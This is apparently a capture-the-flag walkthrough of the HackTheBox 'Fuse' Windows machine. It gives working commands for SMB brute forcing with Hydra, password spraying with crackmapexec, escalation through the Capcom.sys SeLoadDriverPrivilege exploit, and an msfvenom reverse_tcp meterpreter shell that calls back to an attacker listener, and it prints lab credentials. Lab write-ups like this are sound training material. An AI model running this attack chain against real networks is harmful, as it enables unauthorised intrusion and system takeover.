CTF Challenges

Fuse HackTheBox Walkthrough

Today we are going to crack a machine called Fuse. It was created by egre55. This is a Capture the Flag type of challenge. This machine is hosted on HackTheBox. Let’s get cracking!

Penetration Testing Methodology

  • Network Scanning
    • Nmap Scan
  • Enumeration
    • Browsing HTTP Service
    • Crafting Dictionary for Bruteforce using CeWL
    • Bruteforcing SMB using Hydra
    • Connecting using RPCClient
    • Enumerating Printer Logs
  • Exploitation
    • Password Spraying using Crackmapexec
    • Logging using Evil-WinRM
    • Reading User Flag
  • Privilege Escalation
    • Checking Privileges for the user
    • Exploiting SeLoadDriver Privilege using Capcom Exploit
    • Reading Root Flag


Network Scanning

To Attack any machine, we need the IP Address. Machine hosted on HackTheBox have a static IP Address.

IP Address assigned:

Now that we have the IP Address. We need to enumerate open ports on the machine. For this, we will be running a nmap scan.

nmap -sC -sV

The Nmap Version scan quickly gave us some great information. It positively informed that the following ports and services are running: 53 (DNS), 80 (HTTP) 139 (SMB) and other Windows Server Services. Now it is clear that this is a Windows OS based Machine. The OS detected is Microsoft Server 2016.


 We tried to access the HTTP service but we were not redirected. This means we need to add an entry in the /etc/hosts file.

After adding the entry, we are not able to access the HTTP service. We find out that it is PaperCut Print Logger. It is free software that can log, audit and track on Windows systems and print servers. It is pretty common in a corporate environment where there want to keep track a huge array of employees and printers.

Upon inspecting different logs we see that the logs have the user section. These users must also exist on the network, so we might need these usernames for a Bruteforce.

For performing a bruteforce, we need to create a dictionary of users first. To craft the dictionary, we used Cewl.

cewl -w pwd.txt --with-numbers http://fuse.fabricorp.local/papercut/logs/html/index.htm

We decided to use Hydra as our bruteforcing tool. We got two successful hits. One for user tlavel and bhult. Both use the same Fabricorp01 as password. First of all that is not a secure or complex password and two employees using the same password that is unbelievable. What’s more shocking is that if this was a real corporate network, we would have gotten like 50-60 users using the default or weak passwords. Hence, no matter how good your infrastructure security is, if your employees are not using good password practices, you are bound to get attacked.

hydra -L users.txt -P pwd.txt smb

We try to login using smbclient. We first try for user tlavel. It doesn’t login but instead, it gave an error “NT_STATUS_PASSWORD_MUST_CHANGE”. It basically means that we can’t login using this password. The password must be changed for logging in. So, let’s change the password. Changing the password on SMB requires Old password and then we can set a new password of our choice.

smbclient -L -U tlavel
smbpasswd -r -U tlavel


After spending enough time, we couldn’t find anything usable inside the SMB shares. This is where we decided to enumerate further using the RPC client. We use the credentials that we generated earlier. There are a bunch of enumeration scripts and commands that we can run here. But since during our initial assessment of the HTTP service, we know that Paper Cut Print Logger is installed on the Machine. It means we need to enumerate printers on the network. We will use enumprinters for this task. Here we have a password that is logged.

rpcclient -U tlavel

Since we know a password but not the username associated with it, We will perform, Password Spraying. Learn more about Password Spraying from here. There are a bunch of tools that can be used for password spraying. We will be using Crackmapexec. After password spraying, we got to know that there is a user ‘svc-print’ that have the password $fab@s3Rv1ce$1

crackmapexec winrm -u users.txt -p '$fab@s3Rv1ce$1'

Now using the newly found set of credentials and Evil-WINRM we try to login. Here, after some enumeration, we found the user flag.

evil-winrm -i -u svc-print -p '$fab@s3Rv1ce$1'

Privilege Escalation

To elevate to a higher-level user, we enumerated the Privileges of the current user. It showed that SeLoadDrivverPrivilege is Enabled for current user. It is a very dangerous privilege. It allows the user to load kernel drivers and execute code with kernel privileges. We will be using Capcom Driver Exploit to Elevate our privileges. To do this we first needed to download the Capcom.sys driver file which will allow us to execute arbitrary code on the system. We need to upload an executable file as well that can run the driver sys file.

Download Capcom.sys
Download ExploitCapcom.exe
whoami /priv
upload /root/Downloads/Capcom.sys .
upload /root/Downloads/ExploitCapcom.exe .

Now, let’s test the ability of the Capcom Exploit to run commands as NT Authority System. To test, we first need to load the diver sys file using the executable.  This will check for the SeLoadDriver Privilege and then make an appropriate entry in the registry. Now, we can use the executable to run the commands as NT Authority.

.\ExploitCapcom.exe LOAD C:\Users\svc-print\Documents\Capcom.sys
.\ExploitCapcom.exe EXPLOIT whoami

To get the elevated shell, we craft a reverse_tcp payload using Msfvenom.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=4444 -f exe > shell.exe

Now, we upload this crafted payload to the target system. Now before executing it, we run Metasploit to create a handler for the shell. We provide the LHOST and LPORT that we referred to in the payload. Now we execute the payload. We see that Capcom grabs a handle on memory and execute the payload using elevated privileges.

upload /root/Downloads/shell.exe .
.\ExploitCapcom.exe EXPLOIT shell.exe

We went back to our Metasploit Listener to see that it captured the session generated.

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost

All that’s left is to read the root flag.

cd Administrator
cd Desktop
cat root.txt

Author: Pavandeep Singh is a Technical Writer, Researcher, and Penetration Tester. Can be Contacted on Twitter and LinkedIn